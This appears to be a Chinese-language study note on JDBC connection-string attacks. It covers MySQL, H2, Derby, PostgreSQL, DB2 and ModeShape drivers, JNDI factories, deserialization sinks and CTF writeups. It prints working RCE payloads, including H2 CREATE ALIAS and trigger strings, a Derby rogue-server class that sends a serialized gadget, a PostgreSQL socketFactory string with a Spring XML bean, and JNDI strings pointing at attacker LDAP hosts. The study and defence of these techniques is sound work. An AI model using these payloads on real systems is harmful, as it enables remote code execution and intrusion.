JDBC attack
针对JDBC的攻击,基本上依赖于用户可控的JDBC连接。而针对如何发起一个可控的JDBC连接则可以从多个角度入手
首先看一下连接可控的情况下有哪些利用
Make JDBC attack brilliant again
推荐阅读该议题
针对环境中存在的不同sql driver,有不同的利用
mysql
mysql的利用比较经典,首先是mysql连接可控时的通用利用,allowLoadLocalInfile
导致的任意文件读。需要攻击者搭建rogue mysql server,因此需要出网
在添加allowUrlInLocalInfile
选项后还可以进行ssrf,使用file协议枚举目录,或是发送get前期
除此之外,Java环境下rogue mysql server还可以返回序列化数据,强制客户端进行反序列化,即一个二次反序列化漏洞。
在大于该版本的mysql driver中反序列化被修复
= 8.0.20, >= 5.1.49
rogue server工具
https://github.com/rmb122/rogue_mysql_server
h2
这个driver是所有driver里面最好打的一个,提供了多种rce方式甚至是不出网rce
根据不同的依赖,有不同的rce打法。
java
这个利用需要存在javac(javac应该是jdk环境?jre是没有javac的)所以有的纯部署的情况下还真用不了,没有javac的情况下无法使用CREATE ALIAS
语句
网传的payload是需要出网的,但是我这边发现不出网也行
网传的jdbc连接串如下
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
init只允许一条sql语句,而想要rce就得使用多条语句,因此需要从外部引入一个sql文件包含多个语句
poc.sql如下
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "1";}';CALL EXEC ('calc.exe')
但是这篇文章里面提到能执行多条,把分号转义了就行
https://xz.aliyun.com/t/14044
不过上述文章是把多个其他语句用分号拼接并转义。而上述命令执行的语句中本身Java代码也带分号,理论上来说这里加一个转义语法应该不通过。但是我试着把这个分号也转义了一下,居然通了,难以置信。。。?
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"1\"\\;}'\\;CALL EXEC ('calc')
单个这条语句也能弹计算器,意味着不出网情况也能利用
JavaScript
朴实无华的不出网rce,需注意在jdk15之后因为Nashorn JavaScript 引擎被删了,因此在jdk15之后无法利用
连接串为url
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"calc.exe\")\n";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$"+ javascript +"$$\n";
groovy
和JavaScript一样挺朴实无华的,需要额外引入了groovy的依赖
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
Apache Derby
也没用过,可以使用rogue server进行原生反序列化
jdbc:derby:webdb;startMaster=true;slaveHost=evil_server_ip
rogue server code
public class EvilSlaveServer {
public static void main(String[] args) throws Exception {
int port = 4851;
ServerSocket server = new ServerSocket(port);
Socket socket = server.accept();
socket.getOutputStream().write(Serializer.serialize(new CommonsBeanutils1().getObject("open -a Calculator")));
socket.getOutputStream().flush();
Thread.sleep(TimeUnit.SECONDS.toMillis(5));
socket.close();
server.close();
}
}
Postgresql
出网RCE,影响范围
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2
jdbc:postgresql://node/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:2333/test.xml
xml内容如下
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>open</value>
<value>-a</value>
<value>Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
Teradata
出网RCE,需要搭建恶意服务,具体见如下代码
https://github.com/luelueking/Deserial_Sink_With_JDBC/tree/main/src/main/java/teradata
一些JNDI注入
JNDI注入的用处不是很大,后文会提到,常见的触发一个可控的jdbc连接的场景就是jndi注入
IBM DB2
jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;
ModeShape
jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass
触发
jndi
先讲jndi,所以这里面有很多能再次触发jndi注入的driver实际上是没什么用的
众所周知,在jdk较高版本下,reference直接引用类一键rce是不能用的,为此就有两种变体利用。一种是返回一个反序列化数据攻击本地链,即jndi变为原生反序列化。另一种则是利用本地的factory类,通过其getObjectInstance
方法寻求突破
为人熟知的factory类是tomcat下的org.apache.naming.factory.BeanFactory
,其最终调用的forceString方法可以调用任意一个以一个字符串为入参的成员方法,搭配经典EL表达式完成rce
然而,tomcat在高版本(8.5.79)中同样修复了该问题,使其无法利用
所以这里提出几个和jdbc相关的factory
dbcp
dbcp分为dbcp和dbcp-common,其各还有1和2两个版本
dbcp的BasicDataSourceFactory,其getObjectInstance
最终会调用getConnectoin,然后依赖于上述driver实现后续利用
tomcat-jdbc
tomcat-jdbc的DataSourceFactory也同上
druid
以及druid的DruidDataSourceFactory
fastjson,jackson
可以看到,最终的链接触发是通过getConnection方法,也就是一个getter,因此fastjson等触发getter的利用在一定程度上也可以使用
反序列化
getter的触发,除了fastjson,common beanutil和pojonode等也都能够触发getter,也为原生反序列化的利用提供了帮助。
不过,触发getter的原生反序列化利用,在jdk8下可以直接走TemplatesImpl的利用,没有太大的意义。然而,事情在jdk9及以上却有另外的问题。jdk9引入了模块化之后,TemplatesImpl这些内部类都被封装到了模块内部,不对外导出,使得无法正常利用。
因此,通过反序列化触发jdbc连接成为了新的利用手段
这里有一个可能,反序列化中有一个经典的JdbcRowSetImpl
可以制造一个jndi注入,然后再走之前提到的jndi factory就能完成利用,遗憾的是,在jdk的高版本中,这个类也被认作是一个内部类隐藏了起来,所以这个利用也是无法完成的。
为此可以通过反序列化不同的DataSource类型对象,以触发一个用户可控的jdbc连接,可用的sink类可以参照如下链接
https://github.com/luelueking/Deserial_Sink_With_JDBC
如c3p0的ComboPooledDataSource和dbcp的SharedPoolDataSource
不过c3p0可以直接用连接串走h2之类的rce,而dbcp则只能再触发一次jndi注入再利用之前提到的dbcp jndi注入走h2 rce
CTF题目
在我学这个内容的时候,刚好连着在ctf里面出现了两个这个方向相关的题,哈哈
第一个是天枢办的xctf的一道原生jdk17 jdbc反序列化,另一个是阿里云ctf中的jdk17 hessian反序列化,刚学完就出了这两个题,考点感觉也就是上述内容,可惜,不打ctf
pal
帕鲁的一个什么题,因为没参赛不知道名字。一个jdk17下带奇怪的db driver无额外依赖的springboot原生反序列化。Teradata,在这个链接里面写了getter RCE的办法,还有配套脚本
Deserial_Sink_With_JDBC
核心思路就是经典spring boot原生反序列化用pojonode去触发getter,也可以套一层proxy减少属性,不过本地测试的时候发现顶级父类同样有两个属性,也就是两个getter,这个利用仍然存在运气问题,出题人应该是反复重启了服务使得这个题能通的。
还有一个比较玄学的地方,就是用来触发pojonode的toString方法的XString,在jdk17下是不公开的,所以在生成payload的时候就需要手动add open/add export,但是我把payload的生成和反序列化分开,发现反序列化的时候XString没有export也无所谓,一样可以成功反序列化,难以理解Java的module到底是给什么规则捏
chain17
这个题我连附件都没看,哈哈,就找到一个极其简陋的wm的wp
wp
hessian的反序列化和原生的不一样,印象里是可以序列化没有继承serializable的类,但是不能反序列化没有public构造方法的类。
这个题用的hessian触发PojoNode的toString,然后PojoNode触发自己提供的bean的getter方法去触发factory的getDataSource,得到一个可控的jdbc连接,然后h2一键rce。暂时没有理解为什么不直接pojonode直接触发,意思是这里专门调了顺序套proxy也不能通?
这里使用的h2一键rce还是用的出网版本(如果把我那个奇怪的发现带上是不是就可以不出网也能用了?)
参考链接
https://mogwailabs.de/en/blog/2023/04/look-mama-no-templatesimpl/
https://tttang.com/archive/1405/
https://github.com/luelueking/Deserial_Sink_With_JDBC
https://xz.aliyun.com/t/14044
https://su18.org/post/jdbc-connection-url-attack